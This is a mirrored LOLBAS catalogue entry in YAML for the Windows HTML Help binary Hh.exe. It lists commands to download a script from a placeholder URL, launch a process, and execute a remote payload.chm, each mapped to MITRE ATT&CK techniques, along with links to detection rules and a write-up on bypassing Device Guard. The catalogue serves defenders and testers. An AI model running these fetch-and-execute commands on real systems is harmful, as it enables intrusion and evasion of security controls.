mirror of
https://github.com/LOLBAS-Project/LOLBAS
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51 lines
2.4 KiB
YAML
51 lines
2.4 KiB
YAML
---
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Name: Hh.exe
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Description: Binary used for processing chm files in Windows
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: HH.exe http://some.url/script.ps1
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Description: Open the target PowerShell script with HTML Help.
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Usecase: Download files from url
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: HH.exe c:\windows\system32\calc.exe
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Description: Executes calc.exe with HTML Help.
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Usecase: Execute process with HH.exe
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Category: Execute
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Privileges: User
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MitreID: T1218.001
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Tags:
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- Execute: EXE
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- Command: HH.exe http://some.url/payload.chm
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Description: Executes a remote payload.chm file which can contain commands.
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Usecase: Execute commands with HH.exe
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Category: Execute
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Privileges: User
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MitreID: T1218.001
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Tags:
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- Execute: CMD
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- Execute: CHM
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- Execute: Remote
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Full_Path:
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- Path: C:\Windows\hh.exe
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- Path: C:\Windows\SysWOW64\hh.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/execution_via_compiled_html_file.toml
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- Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml
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- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_spawn_child_process.yml
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- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_url_in_command_line.yml
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Resources:
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- Link: https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
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Acknowledgement:
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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